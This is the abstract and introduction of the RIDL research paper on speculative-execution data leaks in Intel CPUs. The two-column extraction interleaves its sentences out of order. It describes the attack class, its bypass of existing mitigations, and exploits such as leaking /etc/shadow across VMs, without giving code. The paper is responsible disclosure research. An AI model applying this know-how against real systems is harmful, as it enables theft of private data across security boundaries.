RIDL: Rogue In-Flight Data Load (With Addenda)

RIDL: Rogue In-Flight Data Load (With Addenda) Stephan van Schaik∗, Alyssa Milburn∗, Sebastian Österlund∗, Pietro Frigo∗, Giorgi Maisuradzeyz, Kaveh Razavi∗, Herbert Bos∗, and Cristiano Giuffrida∗ ∗Department of Computer Science yCISPA Helmholtz Center for Information Security Vrije Universiteit Amsterdam, The Netherlands Saarland Informatics Campus {s.j.r.van.schaik, a.a.milburn, s.osterlund, p.frigo}@vu.nl, [email protected] {kaveh, herbertb, giuffrida}@cs.vu.nl Abstract—We present Rogue In-flight Data Load virtual address space. Meltdown [1] and Foreshadow [3] (RIDL)1, a new class of unprivileged speculative execu- require the target physical address to at least appear in tion attacks to leak arbitrary data across address spaces the loaded address translation data structures. Such re- and privilege boundaries (e.g., process, kernel, SGX, strictions have exposed convenient anchor points to deploy and even CPU-internal operations). Our reverse engi- practical “spot” mitigations against existing attacks [6], neering efforts show such vulnerabilities originate from [7], [8], [9]. This shaped the common perception that— a variety of micro-optimizations pervasive in commodity (Intel) processors, which cause the CPU to spec- until in-silicon mitigations are available on the next gener- ulatively serve loads using extraneous CPU-internal ation of hardware—per-variant, software-only mitigations in-flight data (e.g., in the line fill buffers). Contrary are a relatively pain-free strategy to contain ever-emerging to other state-of-the-art speculative execution attacks, memory disclosure attacks based on speculative execution. such as Spectre, Meltdown and Foreshadow, RIDL can In this paper, we challenge the common perception by leak this arbitrary in-flight data with no assumptions 1 on the state of the caches or translation data structures introducing Rogue In-flight Data Load (RIDL) , a new controlled by privileged software. class of speculative execution attacks that lifts all such addressing restrictions entirely. While existing attacks target The implications are worrisome. First, RIDL attacks information at specific addresses, RIDL operates akin to a can be implemented even from linear execution with passive sniffer that eavesdrops on in-flight data (e.g., data no invalid page faults, eliminating the need for excep- 3 tion suppression mechanisms and enabling system-wide in the line fill buffers ) flowing through CPU components. attacks from arbitrary unprivileged code (including RIDL is powerful: it can leak information across address JavaScript in the browser). To exemplify such attacks, space and privilege boundaries by solely abusing micro- we build a number of practical exploits that leak optimizations implemented in commodity Intel processors. sensitive information from victim processes, virtual Unlike existing attacks, RIDL is non-trivial to stop with machines, kernel, SGX and CPU-internal components. practical mitigations in software. Second, and perhaps more importantly, RIDL bypasses all existing “spot” mitigations in software (e.g., KPTI, The vulnerability of existing vulnerabilities. To il- PTE inversion) and hardware (e.g., speculative store lustrate how existing speculative execution vulnerabilities bypass disable) and cannot easily be mitigated even are subject to addressing restrictions and how this provides by more heavyweight defenses (e.g., L1D flushing or defenders convenient anchor points for “spot” software disabling SMT). RIDL questions the sustainability of a mitigations, we consider their most prominent examples. per-variant, spot mitigation strategy and suggests more fundamental mitigations are needed to contain ever- Spectre [2] allows attackers to manipulate the state emerging speculative execution attacks. of the branch prediction unit and abuse the mispredicted branch to leak arbitrary data within the accessible address I. Introduction space via a side channel (e.g., cache). This primitive by itself is useful in sandbox (e.g., JavaScript) escape scenar- Since the original Meltdown and Spectre disclosure, the ios, but needs to resort to confused-deputy attacks [10] family of memory disclosure attacks abusing speculative to implement cross-address space (e.g., kernel) memory execution 2 has grown steadily [1], [2], [3], [4], [5]. While disclosure. In such attacks, the attacker needs to lure these attacks can leak sensitive information across secu- the victim component into speculatively executing specific rity boundaries, they are all subject to strict addressing “gadgets”, disclosing data from the victim address space restrictions. In particular, Spectre variants [2], [4], [5] allow back to the attacker. This requirement opened the door attacker-controlled code to only leak within the loaded to a number of practical software mitigations, ranging zWork started during internship at Microsoft Research. from halting speculation when accessing untrusted point- 1Or “Microarchitectural Data Sampling” (MDS), as Intel calls the ers or indices [7] to not speculating across vulnerable RIDL class of vulnerabilities. 2Unless otherwise noted, we loosely refer to both speculative and 3We primarily focus on fill buffers in the paper. See Appendix A for out-of-order execution as speculative execution in this paper. information about other sources, such as load ports and store buffers. branches [6]. serving arbitrary, address-agnostic data from the Line Fill Buffers (LFBs), which we found to be exploitable Meltdown [1] somewhat loosens the restrictions of the in the practical cases of interest. We also report on the addresses reachable from attacker-controlled code. Rather challenges to exploit RIDL in practice, targeting specific than restricting the code to valid addresses, an unpriv- in-flight data to leak in particular. Moreover, we present ileged attacker can also access privileged address space a number of practical exploits that leak data across many mappings that are normally made inaccessible by the common security boundaries (JavaScript sandbox, process, supervisor bit in the translation data structures. The kernel, VM, SGX, etc.). We show exploitation is possible reason is that, while any access to a privileged address in both cross-thread and same-thread (no SMT) scenarios. will eventually trigger an error condition (i.e., invalid This applies to all the existing Intel systems with the page fault), before properly handling it, the CPU already latest (microcode) updates and all the defenses up. In exposes the privileged data to out-of-order execution, al- particular, RIDL bypasses all the practical mitigations lowing disclosure. This enables cross-address space (user- against existing attacks and even the more heavyweight, to-kernel) attacks, but only in a traditional user/kernel default-off mitigations such as periodic L1 flushing. The unified address space design. This requirement opened the lesson learned is that mitigating RIDL-like attacks with door to practical software mitigations such as KPTI [9], practical software mitigations is non-trivial and we need where the operating system (OS) isolates the kernel in its more fundamental mitigations to end the speculative exe- own address space rather than relying on the supervisor cution attacks era. bit for isolation. Foreshadow [3] further loosens the addressing restric- Contributions. We make the following contributions: tions. Rather than restricting attacker-controlled code to • We present RIDL, a new class of speculative exe- valid and privileged addresses, the attacker can also access cution vulnerabilities pervasive in commodity Intel physical addresses mapped by invalid (e.g., non-present) CPUs. RIDL enables unprivileged attackers to craft translation data structure entries. Similar to Meltdown, address-agnostic memory disclosure primitives across the target physical address is accessed via the cache, arbitrary security boundaries for the first time and data is then passed to out-of-order execution, and subse- has been rewarded by the Intel Bug Bounty Program. quently leaked before the corresponding invalid page fault • We investigate the root cause of our primary RIDL is detected. Unlike Meltdown, given the milder addressing variant abusing Line Fill Buffers (LFBs), presenting restrictions, Foreshadow enables arbitrary cross-address the first reverse engineering effort to analyze LFB space attacks. But this is only possible when the attacker behavior and related micro-optimizations. can surgically control the physical address of some invalid • We present a number of real-world exploits that translation structure entry. This requirement opened the demonstrate an unprivileged RIDL-enabled attacker door to practical software mitigations such as PTE inver- can leak data across arbitrary security boundaries, sion [8], where the OS simply masks the physical address including process, kernel, VM and SGX, even with of any invalidated translation structure entry. all mitigations against existing attacks enabled. For A new RIDL. With RIDL, we show our faith in practi- example, we can leak the contents of the /etc/shadow cal, “spot” mitigations being able to address known and in another VM using a RIDL attack. More information future speculative execution attacks was misplaced. As and demos of our RIDL exploits can be found at we shall see, RIDL can leak in-flight data of a victim https://mdsattacks.com. process even if that process is not speculating (e.g., due to • We place RIDL in the context of state-of-the-art at- Spectre mitigations) and it does not require

Load more